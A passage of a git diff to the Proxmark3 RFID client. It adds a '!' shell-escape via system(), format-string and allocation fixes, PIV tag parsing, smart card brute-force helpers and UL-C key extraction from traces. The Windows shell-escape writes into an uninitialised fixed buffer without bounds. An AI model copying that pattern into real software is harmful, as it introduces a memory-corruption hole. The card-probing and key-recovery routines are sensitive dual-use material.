b/client/src/cmdmqtt.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// MQTT commands +//----------------------------------------------------------------------------- + +#ifndef CMDMQTT_H__ +#define CMDMQTT_H__ + +#include "common.h" + +int CmdMqtt(const char *Cmd); + +#endif diff --git a/client/src/cmdnfc.c b/client/src/cmdnfc.c index 9a1233f29..42e0ab9a6 100644 --- a/client/src/cmdnfc.c +++ b/client/src/cmdnfc.c @@ -119,6 +119,7 @@ static int CmdNfcDecode(const char *Cmd) { if (bytes_read != MIFARE_4K_MAX_BYTES && bytes_read != MIFARE_2K_MAX_BYTES && bytes_read != MIFARE_1K_MAX_BYTES + && bytes_read != MIFARE_1K_EV1_MAX_BYTES && bytes_read != MIFARE_MINI_MAX_BYTES) { uint8_t **pd = &tmp; diff --git a/client/src/cmdparser.c b/client/src/cmdparser.c index 7421b3f58..fc628b947 100644 --- a/client/src/cmdparser.c +++ b/client/src/cmdparser.c @@ -20,11 +20,15 @@ #include #include - +#include // spinlock +#include // system #include "ui.h" #include "comms.h" #include "util_posix.h" // msleep +#if defined(__MACH__) && defined(__APPLE__) +# include "pthread_spin_lock_shim.h" // spinlock shim for OSX .. +#endif #define MAX_PM3_INPUT_ARGS_LENGTH 4096 @@ -219,6 +223,30 @@ void CmdsHelp(const command_t Commands[]) { PrintAndLogEx(NORMAL, ""); } +static int execute_system_command(const char *command) { + + pthread_spinlock_t sycmd_spinlock; + pthread_spin_init(&sycmd_spinlock, 0); + pthread_spin_lock(&sycmd_spinlock); + + int ret; + +#if defined(_WIN32) + char wrapped_command[255]; + strncat(wrapped_command, "cmd /C \"", 9); + strncat(wrapped_command, command, strlen(command)); + strncat(wrapped_command, "\"", 2); + + ret = system(wrapped_command); +#else + ret = system(command); +#endif + pthread_spin_unlock(&sycmd_spinlock); + pthread_spin_destroy(&sycmd_spinlock); + return ret; +} + + int CmdsParse(const command_t Commands[], const char *Cmd) { if (g_session.client_exe_delay != 0) { @@ -267,6 +295,9 @@ int CmdsParse(const command_t Commands[], const char *Cmd) { return PM3_SUCCESS; } + if (Cmd[0] == '!') { + return execute_system_command(Cmd + 1); + } char cmd_name[128] = {0}; memset(cmd_name, 0, sizeof(cmd_name)); @@ -287,8 +318,9 @@ int CmdsParse(const command_t Commands[], const char *Cmd) { } // Comment - if (cmd_name[0] == '#') + if (cmd_name[0] == '#') { return PM3_SUCCESS; + } // find args, check for -h / --help int tmplen = len; diff --git a/client/src/cmdpiv.c b/client/src/cmdpiv.c index 8264c5936..dc4f0e87d 100644 --- a/client/src/cmdpiv.c +++ b/client/src/cmdpiv.c @@ -107,6 +107,7 @@ enum piv_tag_t { PIV_TAG_GUID, PIV_TAG_CERT, PIV_TAG_FASCN, + PIV_TAG_INTARRAY, }; struct piv_tag { @@ -145,6 +146,14 @@ static const struct piv_tag_enum PIV_CERT_INFO[] = { PIV_ENUM_FINISH, }; +static const char *PIV_EXTLEN_INFO[] = { + "Max command len w/o secure messaging", + "Max response len w/o secure messaging", + "Max command len w/ secure messaging", + "Max response len w/ secure messaging", + NULL +}; + static const struct piv_tag piv_tags[] = { { 0x00, "Unknown ???", PIV_TAG_HEXDUMP, NULL }, { 0x01, "Name", PIV_TAG_PRINTSTR, NULL }, @@ -179,6 +188,7 @@ static const struct piv_tag piv_tags[] = { { 0x79, "Coexistent tag allocation authority", PIV_TAG_HEXDUMP, NULL }, { 0x7f21, "Intermediate CVC", PIV_TAG_HEXDUMP, NULL }, { 0x7f60, "Biometric Information Template", PIV_TAG_GENERIC, NULL }, + { 0x7f66, "Extended length buffer information", PIV_TAG_INTARRAY, PIV_EXTLEN_INFO }, { 0x80, "Cryptographic algorithm identifier", PIV_TAG_ENUM, PIV_CRYPTO_ALG }, @@ -323,12 +333,12 @@ static void piv_tag_dump_enum(const struct tlv *tlv, const struct piv_tag *tag, const struct piv_tag_enum *values = tag->data; for (size_t i = 0; values[i].name != NULL; i++) { if (values[i].value == tlv->value[0]) { - PrintAndLogEx(NORMAL, " %u - '" _YELLOW_("%s")"'", + PrintAndLogEx(NORMAL, " %" PRIu8 " - '" _YELLOW_("%s")"'", tlv->value[0], values[i].name); return; } } - PrintAndLogEx(NORMAL, " %u - " _RED_("Unknown??"), tlv->value[0]); + PrintAndLogEx(NORMAL, " %" PRIu8 " - " _RED_("Unknown??"), tlv->value[0]); } static void piv_tag_dump_tlv(const struct tlv *tlv, const struct piv_tag *tag, int level) { @@ -352,6 +362,47 @@ static void piv_tag_dump_tlv(const struct tlv *tlv, const struct piv_tag *tag, i } +static void piv_tag_dump_int_array(const struct tlv *tlv, const struct piv_tag *tag, int level) { + int index = 0; + + const char **labels = (const char **) tag->data; + const unsigned char *buf = tlv->value; + size_t left = tlv->len; + int max_labels = 0; + + while (labels[max_labels]) { + max_labels++; + } + + while (left) { + struct tlv sub_tlv; + unsigned long v = 0; + if (!tlv_parse_tl(&buf, &left, &sub_tlv)) { + PrintAndLogEx(INFO, "%*sInvalid Tag-Len", (level * 4), " "); + continue; + } + sub_tlv.value = buf; + if (index < max_labels) { + PrintAndLogEx(INFO, "%*s--%2" PRIx32 "[%02z" PRIx32 "] '%s':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, labels[index]); + } else { + PrintAndLogEx(INFO, "%*s--%2" PRIx32 "[%02z" PRIx32 "] 'Unknown item index %" PRId32 "':" NOLF, (level * 4), " ", sub_tlv.tag, sub_tlv.len, index); + } + if (sub_tlv.len <= sizeof(v)) { + // We have enough space to convert to integer + for (int i = 0; i < sub_tlv.len; i++) { + v = (v << 8) + sub_tlv.value[i]; + } + PrintAndLogEx(NORMAL, _YELLOW_("%" PRIu64) " bytes (" _YELLOW_("%" PRIx64) ")", v, v); + } else { + // Number is to big. Just print hex value + PrintAndLogEx(NORMAL, _YELLOW_("0x%s"), sprint_hex_inrow(sub_tlv.value, sub_tlv.len)); + } + buf += sub_tlv.len; + left -= sub_tlv.len; + index++; + } +} + static void piv_print_cert(const uint8_t *buf, const size_t len, int level) { char prefix[256] = {0}; PrintAndLogEx(NORMAL, ""); @@ -415,18 +466,18 @@ static void piv_print_fascn(const uint8_t *buf, const size_t len, int level) { PrintAndLogEx(NORMAL, "%s" NOLF, encoded[tmp & 0x1f]); } uint8_t lrc = buf[24] & 0x1f; - PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02x") "]", lrc); + PrintAndLogEx(NORMAL, " LRC=[" _YELLOW_("%02" PRIx8) "]", lrc); } static bool piv_tag_dump(const struct tlv *tlv, int level) { if (tlv == NULL) { - PrintAndLogEx(FAILED, "NULL"); + PrintAndLogEx(FAILED, "tlv is NULL"); return false; } const struct piv_tag *tag = piv_get_tag(tlv); - PrintAndLogEx(INFO, "%*s--%2x[%02zx] '%s':" NOLF, (level * 4), " ", tlv->tag, tlv->len, tag->name); + PrintAndLogEx(INFO, "%*s--%2" PRIu32 "[%02z" PRIx32 "] '%s':" NOLF, (level * 4), " ", tlv->tag, tlv->len, tag->name); switch (tag->type) { case PIV_TAG_GENERIC: @@ -440,7 +491,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { PrintAndLogEx(NORMAL, " '" _YELLOW_("%s")"'", sprint_hex_inrow(tlv->value, tlv->len)); break; case PIV_TAG_NUMERIC: - PrintAndLogEx(NORMAL, " " _YELLOW_("%lu"), piv_value_numeric(tlv, 0, tlv->len * 2)); + PrintAndLogEx(NORMAL, " " _YELLOW_("%" PRIu64), piv_value_numeric(tlv, 0, tlv->len * 2)); break; case PIV_TAG_YYYYMMDD: piv_tag_dump_yyyymmdd(tlv, tag, level); @@ -454,7 +505,7 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { break; case PIV_TAG_PRINTSTR: PrintAndLogEx(NORMAL, " '" NOLF); - for (size_t i = 0; i < tlv->len; i++) { + for (size_t i = 0; i < tlv->len && tlv->value[i]; i++) { PrintAndLogEx(NORMAL, _YELLOW_("%c") NOLF, tlv->value[i]); } PrintAndLogEx(NORMAL, "'"); @@ -465,9 +516,9 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { } else { struct guid guid = {0}; parse_guid(tlv->value, &guid); - PrintAndLogEx(NORMAL, " " _YELLOW_("{%08x-%04x-%04x-") NOLF, guid.part1, guid.part2, guid.part3); + PrintAndLogEx(NORMAL, " " _YELLOW_("{%08" PRIx32 "-%04" PRIx16 "-%04" PRIx16 "-") NOLF, guid.part1, guid.part2, guid.part3); for (size_t i = 0; i < 8; i++) { - PrintAndLogEx(NORMAL, _YELLOW_("%02x") NOLF, guid.data[i]); + PrintAndLogEx(NORMAL, _YELLOW_("%02" PRIx8) NOLF, guid.data[i]); } PrintAndLogEx(NORMAL, _YELLOW_("}")); } @@ -481,6 +532,9 @@ static bool piv_tag_dump(const struct tlv *tlv, int level) { piv_print_fascn(tlv->value, tlv->len, level + 2); } break; + case PIV_TAG_INTARRAY: + piv_tag_dump_int_array(tlv, tag, level + 2); + break; }; return true; @@ -505,6 +559,7 @@ static void PrintTLVFromBuffer(const uint8_t *buf, size_t len) { } struct tlvdb_root *root = calloc(1, sizeof(*root) + len); if (root == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } root->len = len; @@ -542,8 +597,8 @@ static int PivGetData(Iso7816CommandChannel channel, const uint8_t tag[], size_t // Answer can be chained. Let's use a dynamically allocated buffer. size_t capacity = PM3_CMD_DATA_SIZE; struct tlvdb_root *root = calloc(1, sizeof(*root) + capacity); - if (root == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } root->len = 0; @@ -575,7 +630,7 @@ static int PivGetData(Iso7816CommandChannel channel, const uint8_t tag[], size_t capacity += PM3_CMD_DATA_SIZE; struct tlvdb_root *new_root = realloc(root, sizeof(*root) + capacity); if (new_root == NULL) { - PrintAndLogEx(FAILED, "Running out of memory while re-allocating buffer"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); //free(root); tlvdb_root_free(root); return PM3_EMALLOC; @@ -627,7 +682,7 @@ static int PivGetDataByCidAndPrint(Iso7816CommandChannel channel, const struct p break; default: if (verbose == true) { - PrintAndLogEx(INFO, "APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } break; } @@ -655,7 +710,7 @@ static int PivAuthenticateSign(Iso7816CommandChannel channel, uint8_t alg_id, ui const size_t MAX_NONCE_LEN = 0x7a; if (nonce_len > MAX_NONCE_LEN) { if (verbose == true) { - PrintAndLogEx(WARNING, "Nonce cannot exceed %zu bytes. Got %zu bytes.", MAX_NONCE_LEN, nonce_len); + PrintAndLogEx(WARNING, "Nonce cannot exceed %" PRIu64 " bytes. Got %" PRIu64 " bytes.", MAX_NONCE_LEN, nonce_len); } return PM3_EINVARG; } @@ -671,12 +726,12 @@ static int PivAuthenticateSign(Iso7816CommandChannel channel, uint8_t alg_id, ui size_t len = 0; int res = Iso7816ExchangeEx(channel, false, true, apdu, false, 0, buf, APDU_RES_LEN, &len, &sw); if (res != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Sending APDU failed with code %d", res); + PrintAndLogEx(FAILED, "Sending APDU failed with code %" PRId32, res); return res; } if (sw != ISO7816_OK) { if (verbose == true) { - PrintAndLogEx(INFO, "Unexpected APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "Unexpected APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } return PM3_EFAILED; } @@ -697,7 +752,7 @@ static int PivSelect(Iso7816CommandChannel channel, bool activateField, bool lea int res = Iso7816Select(channel, activateField, leaveFieldOn, applet, appletLen, buf, sizeof(buf), &len, &sw); if ((sw != 0) && (silent == false)) { - PrintAndLogEx(INFO, "APDU response status: %04x - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(INFO, "APDU response status: %04" PRIx16 " - %s", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); } if (res != PM3_SUCCESS || sw != ISO7816_OK) { @@ -804,7 +859,7 @@ static int CmdPIVGetData(const char *Cmd) { CLIParserFree(ctx); if ((tag_len < 1) || (tag_len > 3)) { - PrintAndLogEx(WARNING, "Tag should be between 1 and 3 bytes. Got %i", tag_len); + PrintAndLogEx(WARNING, "Tag should be between 1 and 3 bytes. Got %" PRIi32, tag_len); return PM3_EINVARG; } @@ -843,7 +898,7 @@ static int CmdPIVAuthenticateSign(const char *Cmd) { arg_str0(NULL, "aid", "", "Applet ID to select. By default A0000003080000100 will be used"), arg_str1(NULL, "nonce", "", "Nonce to sign."), arg_int0(NULL, "slot", "", "Slot number. Default will be 0x9E (card auth cert)."), - arg_int0(NULL, "alg", "", "Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 11=ECC-P256 (default), 14=ECC-P384"), + arg_int0(NULL, "alg", "", "Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 17=ECC-P256 (default), 20=ECC-P384"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); diff --git a/client/src/cmdscript.c b/client/src/cmdscript.c index 8506a7734..cc1d4000a 100644 --- a/client/src/cmdscript.c +++ b/client/src/cmdscript.c @@ -55,55 +55,73 @@ extern PyObject *PyInit__pm3(void); static int Pm3PyRun_SimpleFileNoExit(FILE *fp, const char *filename) { PyObject *m, *d, *v; int set_file_name = 0, ret = -1; + m = PyImport_AddModule("__main__"); - if (m == NULL) + if (m == NULL) { return -1; + } + Py_INCREF(m); d = PyModule_GetDict(m); + if (PyDict_GetItemString(d, "__file__") == NULL) { + PyObject *f; f = PyUnicode_DecodeFSDefault(filename); - if (f == NULL) + if (f == NULL) { goto done; + } + if (PyDict_SetItemString(d, "__file__", f) < 0) { Py_DECREF(f); goto done; } + if (PyDict_SetItemString(d, "__cached__", Py_None) < 0) { Py_DECREF(f); goto done; } + set_file_name = 1; Py_DECREF(f); } + v = PyRun_FileExFlags(fp, filename, Py_file_input, d, d, 1, NULL); if (v == NULL) { + Py_CLEAR(m); + if (PyErr_ExceptionMatches(PyExc_SystemExit)) { // PyErr_Print() exists if SystemExit so we've to handle it ourselves PyObject *ty = 0, *er = 0, *tr = 0; PyErr_Fetch(&ty, &er, &tr); + long err = PyLong_AsLong(er); if (err) { PrintAndLogEx(WARNING, "\nScript terminated by " _YELLOW_("SystemExit %li"), err); } else { ret = 0; } + Py_DECREF(ty); Py_DECREF(er); Py_DECREF(er); PyErr_Clear(); goto done; + } else { PyErr_Print(); } goto done; } + Py_DECREF(v); ret = 0; + done: - if (set_file_name && PyDict_DelItemString(d, "__file__")) + if (set_file_name && PyDict_DelItemString(d, "__file__")) { PyErr_Clear(); + } Py_XDECREF(m); return ret; } @@ -129,16 +147,20 @@ static int split(char *str, char **arr) { int word_cnt = 0; while (1) { + while (isspace(str[begin_index])) { ++begin_index; } + if (str[begin_index] == '\0') { break; } + int end_index = begin_index; while (str[end_index] && !isspace(str[end_index])) { ++end_index; } + int len = end_index - begin_index; char *tmp = calloc(len + 1, sizeof(char)); memcpy(tmp, &str[begin_index], len); @@ -227,13 +249,16 @@ static int CmdScriptList(const char *Cmd) { CLIParserFree(ctx); PrintAndLogEx(NORMAL, "\n" _YELLOW_("[ Lua scripts ]")); int ret = searchAndList(LUA_SCRIPTS_SUBDIR, ".lua"); - if (ret != PM3_SUCCESS) + if (ret != PM3_SUCCESS) { return ret; + } PrintAndLogEx(NORMAL, "\n" _YELLOW_("[ Cmd scripts ]")); ret = searchAndList(CMD_SCRIPTS_SUBDIR, ".cmd"); - if (ret != PM3_SUCCESS) + if (ret != PM3_SUCCESS) { return ret; + } + #ifdef HAVE_PYTHON PrintAndLogEx(NORMAL, "\n" _YELLOW_("[ Python scripts ]")); return searchAndList(PYTHON_SCRIPTS_SUBDIR, ".py"); @@ -265,11 +290,11 @@ static int CmdScriptRun(const char *Cmd) { }; int fnlen = 0; - char filename[128] = {0}; + char filename[FILE_PATH_SIZE] = {0}; int arg_len = 0; - char arguments[256] = {0}; + char arguments[1025] = {0}; - sscanf(Cmd, "%127s%n %255[^\n\r]%n", filename, &fnlen, arguments, &arg_len); + sscanf(Cmd, "%999s%n %1024[^\n\r]%n", filename, &fnlen, arguments, &arg_len); // hack // since we don't want to use "-f" for script filename, @@ -415,6 +440,7 @@ static int CmdScriptRun(const char *Cmd) { Py_Initialize(); #else PyConfig py_conf; + PyStatus status; // We need to use Python mode instead of isolated to avoid breaking stuff. PyConfig_InitPythonConfig(&py_conf); // Let's still make things bit safer by being as close as possible to isolated mode. @@ -428,7 +454,7 @@ static int CmdScriptRun(const char *Cmd) { #endif //int argc, char ** argv - char *argv[128]; + char *argv[FILE_PATH_SIZE]; argv[0] = script_path; int argc = split(arguments, &argv[1]); #if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION < 10 @@ -440,16 +466,38 @@ static int CmdScriptRun(const char *Cmd) { PySys_SetArgv(argc + 1, py_args); #else // The following line will implicitly pre-initialize Python - PyConfig_SetBytesArgv(&py_conf, argc + 1, argv); - + status = PyConfig_SetBytesArgv(&py_conf, argc + 1, argv); + if (PyStatus_Exception(status)) { + goto pyexception; + } // We disallowed in py_conf environment variables interfering with python interpreter's behavior. // Let's manually enable the ones we truly need. - // This is required by Proxspace to work with an isolated Python configuration - PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + const char *virtual_env = getenv("VIRTUAL_ENV"); + if (virtual_env != NULL) { + size_t length = strlen(virtual_env) + strlen("/bin/python3") + 1; + char python_executable_path[length]; + snprintf(python_executable_path, length, "%s/bin/python3", virtual_env); + status = PyConfig_SetBytesString(&py_conf, &py_conf.executable, python_executable_path); + if (PyStatus_Exception(status)) { + goto pyexception; + } + } else { + // This is required by Proxspace to work with an isolated Python configuration + status = PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + if (PyStatus_Exception(status)) { + goto pyexception; + } + } // This is required for allowing `import pm3` in python scripts - PyConfig_SetBytesString(&py_conf, &py_conf.pythonpath_env, getenv("PYTHONPATH")); + status = PyConfig_SetBytesString(&py_conf, &py_conf.pythonpath_env, getenv("PYTHONPATH")); + if (PyStatus_Exception(status)) { + goto pyexception; + } - Py_InitializeFromConfig(&py_conf); + status = Py_InitializeFromConfig(&py_conf); + if (PyStatus_Exception(status)) { + goto pyexception; + } // clean up PyConfig_Clear(&py_conf); @@ -483,6 +531,18 @@ static int CmdScriptRun(const char *Cmd) { PrintAndLogEx(SUCCESS, "\nfinished " _YELLOW_("%s"), filename); return PM3_SUCCESS; } + +#if PY_MAJOR_VERSION == 3 && PY_MINOR_VERSION >= 10 +pyexception: + PyConfig_Clear(&py_conf); + if (PyStatus_IsExit(status)) { + PrintAndLogEx(WARNING, "\nPython initialization failed with exitcode=%i", status.exitcode); + } + if (PyStatus_IsError(status)) { + PrintAndLogEx(WARNING, "\nPython initialization failed with exception: %s", status.err_msg); + } + return PM3_ESOFT; +#endif } #endif diff --git a/client/src/cmdsmartcard.c b/client/src/cmdsmartcard.c index a6a07c4c6..6e1c67ba5 100644 --- a/client/src/cmdsmartcard.c +++ b/client/src/cmdsmartcard.c @@ -50,7 +50,9 @@ static int smart_loadjson(const char *preferredName, json_t **root) { json_error_t error; - if (preferredName == NULL) return 1; + if (preferredName == NULL) { + return 1; + } char *path; int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, ".json", false); @@ -364,6 +366,10 @@ static int smart_responseEx(uint8_t *out, int maxoutlen, bool verbose) { uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, len}; smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + sizeof(cmd_getresp)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + goto out; + } payload->flags = SC_RAW | SC_LOG; payload->len = sizeof(cmd_getresp); payload->wait_delay = 0; @@ -453,7 +459,7 @@ static int CmdSmartRaw(const char *Cmd) { smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + dlen); if (payload == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } payload->len = dlen; @@ -483,7 +489,7 @@ static int CmdSmartRaw(const char *Cmd) { uint8_t *buf = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); if (buf == NULL) { - PrintAndLogEx(DEBUG, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(payload); return PM3_EMALLOC; } @@ -657,8 +663,8 @@ static int CmdSmartUpgrade(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SMART_UPLOAD, (uint8_t *)&upload, sizeof(upload)); - if (!WaitForResponseTimeout(CMD_SMART_UPLOAD, &resp, 2000)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_SMART_UPLOAD, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); free(firmware); return PM3_ETIMEOUT; } @@ -689,14 +695,14 @@ static int CmdSmartUpgrade(const char *Cmd) { free(firmware); SendCommandNG(CMD_SMART_UPGRADE, (uint8_t *)&payload, sizeof(payload)); - if (!WaitForResponseTimeout(CMD_SMART_UPGRADE, &resp, 2500)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_SMART_UPGRADE, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Sim module firmware upgrade " _GREEN_("successful")); - PrintAndLogEx(HINT, "run " _YELLOW_("`hw status`") " to validate the fw version "); + PrintAndLogEx(HINT, "Hint: Run `" _YELLOW_("hw status") "` to validate the fw version "); } else { PrintAndLogEx(FAILED, "Sim module firmware upgrade " _RED_("failed")); } @@ -745,7 +751,7 @@ static int CmdSmartInfo(const char *Cmd) { // convert bytes to str. char *hexstr = calloc((card.atr_len << 1) + 1, sizeof(uint8_t)); if (hexstr == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -819,7 +825,7 @@ static int CmdSmartReader(const char *Cmd) { // convert bytes to str. char *hexstr = calloc((card->atr_len << 1) + 1, sizeof(uint8_t)); if (hexstr == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -870,7 +876,7 @@ static int CmdSmartSetClock(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SMART_SETCLOCK, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_SMART_SETCLOCK, &resp, 2500)) { + if (WaitForResponseTimeout(CMD_SMART_SETCLOCK, &resp, 2500) == false) { PrintAndLogEx(WARNING, "smart card select failed"); return PM3_ETIMEOUT; } @@ -903,8 +909,10 @@ static int CmdSmartList(const char *Cmd) { static void smart_brute_prim(void) { uint8_t *buf = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); - if (!buf) + if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; + } uint8_t get_card_data[] = { 0x80, 0xCA, 0x9F, 0x13, 0x00, @@ -918,6 +926,11 @@ static void smart_brute_prim(void) { for (int i = 0; i < ARRAYLEN(get_card_data); i += 5) { smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + 5); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(buf); + return; + } payload->flags = SC_RAW_T0; payload->len = 5; payload->wait_delay = 0; @@ -938,8 +951,10 @@ static void smart_brute_prim(void) { static int smart_brute_sfi(bool decodeTLV) { uint8_t *buf = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); - if (buf == NULL) + if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return 1; + } int len; // READ RECORD @@ -962,6 +977,11 @@ static int smart_brute_sfi(bool decodeTLV) { READ_RECORD[3] = (sfi << 3) | 4; smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + sizeof(READ_RECORD)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(buf); + return 1; + } payload->flags = SC_RAW_T0; payload->len = sizeof(READ_RECORD); payload->wait_delay = 0; @@ -1007,13 +1027,20 @@ static int smart_brute_sfi(bool decodeTLV) { static void smart_brute_options(bool decodeTLV) { uint8_t *buf = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); - if (!buf) + if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; + } // Get processing options command uint8_t GET_PROCESSING_OPTIONS[] = {0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00, 0x00}; smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + sizeof(GET_PROCESSING_OPTIONS)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(buf); + return; + } payload->flags = SC_RAW_T0; payload->len = sizeof(GET_PROCESSING_OPTIONS); memcpy(payload->data, GET_PROCESSING_OPTIONS, sizeof(GET_PROCESSING_OPTIONS)); @@ -1067,8 +1094,10 @@ static int CmdSmartBruteforceSFI(const char *Cmd) { smart_loadjson("aidlist", &root); uint8_t *buf = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); - if (!buf) + if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; + } PrintAndLogEx(INFO, "Selecting card"); if (!smart_select(false, NULL)) { @@ -1109,6 +1138,12 @@ static int CmdSmartBruteforceSFI(const char *Cmd) { size_t aidlen = strlen(aid); caid = calloc(8 + 2 + aidlen + 1, sizeof(uint8_t)); + if (caid == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + json_decref(root); + free(buf); + return PM3_EMALLOC; + } snprintf(caid, 8 + 2 + aidlen + 1, SELECT, aidlen >> 1, aid); int hexlen = 0; @@ -1118,6 +1153,12 @@ static int CmdSmartBruteforceSFI(const char *Cmd) { continue; smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + hexlen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + json_decref(root); + free(buf); + return PM3_EMALLOC; + } payload->flags = SC_RAW_T0; payload->len = hexlen; payload->wait_delay = 0; @@ -1259,7 +1300,7 @@ static int CmdPCSC(const char *Cmd) { strcpy((char *) host, "localhost"); } - uint8_t port[6] = {0}; + uint8_t port[7] = {0}; int portLen = sizeof(port) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 2, port, &portLen); if (portLen == 0) { @@ -1428,7 +1469,7 @@ static int CmdPCSC(const char *Cmd) { msleep(300); } - } while (!kbd_enter_pressed()); + } while (kbd_enter_pressed() == false); mbedtls_net_close(&netCtx); mbedtls_net_free(&netCtx); @@ -1468,6 +1509,10 @@ int ExchangeAPDUSC(bool verbose, uint8_t *datain, int datainlen, bool activateCa *dataoutlen = 0; smart_card_raw_t *payload = calloc(1, sizeof(smart_card_raw_t) + datainlen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->flags = (SC_RAW_T0 | SC_LOG); if (activateCard) { payload->flags |= (SC_SELECT | SC_CONNECT); diff --git a/client/src/cmdtrace.c b/client/src/cmdtrace.c index 7257c7703..0f3242345 100644 --- a/client/src/cmdtrace.c +++ b/client/src/cmdtrace.c @@ -28,6 +28,8 @@ #include "comms.h" // for sending cmds to device. GetFromBigBuf #include "fileutils.h" // for saveFile #include "cmdlfhitag.h" // annotate hitag +#include "cmdlfhitaghts.h" // annotate hitags +#include "cmdlfhitagu.h" // annotate hitagu #include "pm3_cmd.h" // tracelog_hdr_t #include "cliparser.h" // args.. @@ -146,7 +148,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t uint16_t data_len = hdr->data_len; uint8_t *frame = hdr->frame; - // sanity check tracking position is less then available trace size + // sanity check tracking position is less than available trace size if (tracepos + TRACELOG_HDR_LEN + data_len + TRACELOG_PARITY_LEN(hdr) > traceLen) { PrintAndLogEx(DEBUG, "trace pos offset %"PRIu64 " larger than reported tracelen %u", tracepos + TRACELOG_HDR_LEN + data_len + TRACELOG_PARITY_LEN(hdr), @@ -164,6 +166,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t } // extract MFC + /* switch (frame[0]) { case MIFARE_AUTH_KEYA: { if (data_len > 3) { @@ -176,9 +179,11 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t break; } } + */ - // extract MFU-C + // extract UL-C KEY when written. switch (frame[0]) { + case MIFARE_ULC_AUTH_1: { if (data_len != 4) { break; @@ -195,7 +200,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t break; } - 